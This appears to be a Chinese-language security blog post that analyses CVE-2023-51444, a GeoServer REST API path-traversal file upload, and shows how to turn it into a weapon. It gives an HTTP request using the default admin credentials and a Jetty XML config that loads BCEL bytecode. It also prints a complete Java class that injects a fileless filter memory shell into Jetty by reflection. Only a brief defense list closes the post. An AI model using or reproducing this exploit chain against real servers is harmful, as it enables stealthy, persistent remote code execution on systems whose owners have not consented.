CVE-2023-51444-漏洞剖析到内存马注入
字数 1350 2025-08-25 22:59:20
CVE-2023-51444漏洞分析与内存马注入技术详解
1. 漏洞概述
CVE-2023-51444是GeoServer中存在的一个文件上传漏洞,允许攻击者通过REST API实现跨目录文件上传,最终可能导致远程代码执行。该漏洞影响GeoServer 2.19.1及更早版本。
2. 漏洞利用分析
2.1 漏洞利用流程
漏洞利用分为两个主要步骤:
- 通过REST接口新建mosaic类型的coveragestore空间
- 通过REST访问新建的coveragestore空间实现跨目录文件上传
2.2 详细利用步骤
第一步:创建mosaic类型的coveragestore
通过GeoServer的RESTful API可以创建数据存储空间。关键API端点:
POST /rest/workspaces/{workspaceName}/coveragestores
请求示例:
POST /geoserver/rest/workspaces/sde/coveragestores HTTP/1.1
Host: 192.168.1.4:18080
User-Agent: Mozilla/5.0
Authorization: Basic YWRtaW46Z2Vvc2VydmVy
Content-Type: application/xml
Content-Length: 265
<coverageStore>
<name>bypass</name>
<description>111</description>
<type>ImageMosaic</type>
<enabled>true</enabled>
<workspace><name>sde</name></workspace>
<__default>false</__default>
<url>file:coverages/mosaic_sample</url>
</coverageStore>
关键点:
- 必须使用
ImageMosaic类型 url参数指定了文件存储路径- 需要有效的认证凭据
第二步:文件上传
上传文件的关键API端点:
POST /rest/workspaces/{workspaceName}/coveragestores/{storeName}/file.{extension}
上传逻辑位于org.geoserver.rest.catalog.CoverageStoreFileController#coverageStorePost方法中。
关键绕过点:
- 需要控制
createRoot的path参数为绝对路径 - 通过第一步创建store时设置的
url参数可以指定绝对路径 - 上传的文件路径为
url参数+filename参数
3. 武器化利用
3.1 内存马注入技术
当环境中缺少JSP解析依赖时,可以利用Jetty的XML配置文件解析来注入内存马。
3.1.1 JDK < 8u251的利用
利用BCEL的ClassLoader加载任意字节码:
<?xml version="1.0"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure id="abc" class="org.eclipse.jetty.webapp.WebAppContext">
<New id="cl" class="com.sun.org.apache.bcel.internal.util.ClassLoader">
<Call name="loadClass">
<Arg>
$$
BCEL
$$
xxx</Arg>
<Call name="newInstance"></Call>
</Call>
</New>
</Configure>
3.1.2 内存马实现关键点
-
类加载问题:
- 由于双亲委派机制,BCEL的ClassLoader无法直接使用servlet-api相关类
- 需要使用WebAppClassLoader来加载相关类
-
反射实现:
- 所有servlet-api相关操作都必须通过反射实现
- 需要动态获取WebAppClassLoader
-
Filter内存马实现:
- 通过反射获取WebAppContext和ServletHandler
- 动态创建FilterHolder和FilterMapping
- 设置路径映射和DispatcherType
3.2 完整内存马实现代码
package com.bypass;
import sun.misc.BASE64Decoder;
import java.lang.reflect.*;
import java.util.*;
public class xxx {
private static synchronized Object getField(Object o, String k) throws Exception {
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try {
f = o.getClass().getSuperclass().getDeclaredField(k);
} catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}
static {
try {
String filterName = "com.bypass.xxx";
String urlPatter = "/bypass";
Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
threadMethod.setAccessible(true);
Thread[] threads = (Thread[]) threadMethod.invoke(null);
java.lang.ClassLoader threadClassloader = null;
for (Thread thread : threads){
threadClassloader = thread.getContextClassLoader();
if (threadClassloader != null){
if (threadClassloader.toString().contains("WebAppClassLoader")){
Object webAppContext = getField(threadClassloader, "_context");
Object servletHandler = getField(webAppContext, "_servletHandler");
Object[] filters = (Object[]) getField(servletHandler, "_filters");
Boolean flag = false;
for (Object f : filters){
Field fieldFilerName = f.getClass().getSuperclass().getDeclaredField("_name");
fieldFilerName.setAccessible(true);
String name = (String) fieldFilerName.get(f);
System.out.println(name);
if (name.equals(filterName)){
flag = true;
break;
}
}
if (flag){
System.out.println("[+] exist filter!! " + filterName);
break;
}
System.out.println("[+] Add Filter: " + filterName);
System.out.println("[+] urlPattern: " + urlPatter);
threadClassloader.loadClass("javax.servlet.Filter");
threadClassloader.loadClass("javax.servlet.ServletRequest");
threadClassloader.loadClass("javax.servlet.ServletResponse");
threadClassloader.loadClass("javax.servlet.FilterChain");
threadClassloader.loadClass("javax.servlet.FilterConfig");
threadClassloader.loadClass("javax.servlet.http.HttpServletRequest");
threadClassloader.loadClass("javax.servlet.http.HttpServletResponse");
threadClassloader.loadClass("javax.servlet.http.HttpServletRequest");
threadClassloader.loadClass("javax.servlet.http.HttpSession");
System.out.println("[+] end javax!");
Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
a.setAccessible(true);
String clasz = "base64编码";
byte[] b = (new BASE64Decoder()).decodeBuffer(clasz);
System.out.println("[+] " + threadClassloader);
System.out.println("[+] start load Filter!");
a.invoke(threadClassloader, b, 0, b.length);
System.out.println("[+]defineClass加载成功! ");
System.out.println("[+] start get Filter!");
Class<?> hFilterClass = threadClassloader.loadClass("com.bypass.TestFilter");
System.out.println("[+] " + hFilterClass);
System.out.println("[+] end load Filter!");
Object HFilter = hFilterClass.newInstance();
System.out.println("[+] 获取HFilter! " + hFilterClass.newInstance());
System.out.println("[+] " + servletHandler.getClass());
//反射获取JAVA_API
Class sourceClazz = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.Source");
Field API = sourceClazz.getDeclaredField("JAVAX_API");
Method newFilterHolder = servletHandler.getClass().getMethod("newFilterHolder", sourceClazz);
Object holder = newFilterHolder.invoke(servletHandler, API.get(null));
System.out.println("[+] 获取FilterHolder " + holder.getClass());
//setName、setFilter、addFilter
holder.getClass().getMethod("setName", String.class).invoke(holder, filterName);
holder.getClass().getMethod("setFilter", HFilter.getClass().getInterfaces()[0]).invoke(holder, HFilter);
servletHandler.getClass().getMethod("addFilter", holder.getClass()).invoke(servletHandler, holder);
//FilterMapping
Class FilterMappingClz = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping");
Object FilterMapping = FilterMappingClz.newInstance();
Method setFilterHolder = FilterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass());
setFilterHolder.setAccessible(true);
setFilterHolder.invoke(FilterMapping, holder);
FilterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(FilterMapping, new Object[]{new String[]{urlPatter}});
//获取DispatcherType.REQUEST
Class Dis = threadClassloader.loadClass("javax.servlet.DispatcherType");
Object request = Dis.getDeclaredField("REQUEST").get(null);
System.out.println("[+] 获取DispatcherType " + request);
//转换枚举常量
System.out.println("[+] 获取DispatcherType枚举常量 " + EnumSet.of(Enum.valueOf(Dis, "REQUEST")));
FilterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class).invoke(FilterMapping, EnumSet.of(Enum.valueOf(Dis, "REQUEST")));
servletHandler.getClass().getMethod("prependFilterMapping", FilterMapping.getClass()).invoke(servletHandler, FilterMapping);
System.out.println("[+] FilterMapping! " + FilterMapping);
System.out.println("success!");
break;
}
}
}
} catch (Exception exception){}
}
}
4. 高版本JDK的应对方案
对于JDK 8u251及更高版本(包括JDK 17/21):
- BCEL ClassLoader已被移除,需要寻找替代方案
- 可以考虑使用ASM或其他字节码操作库
- 利用JNDI注入或其他内存马注入技术
- 参考公开的高版本JDK内存马实现方案
5. 防御建议
- 及时升级GeoServer到最新版本
- 限制GeoServer管理界面的访问权限
- 使用强密码或双因素认证
- 监控异常文件上传行为
- 定期检查服务器上的可疑文件
- 对于生产环境,考虑禁用不必要的REST API功能
6. 总结
CVE-2023-51444漏洞通过GeoServer的REST API实现了文件上传和目录穿越,结合Jetty的XML配置解析特性,可以实现内存马的注入。这种攻击方式不依赖文件落地,具有较高的隐蔽性。防御方需要全面了解攻击原理,才能有效防护此类高级威胁。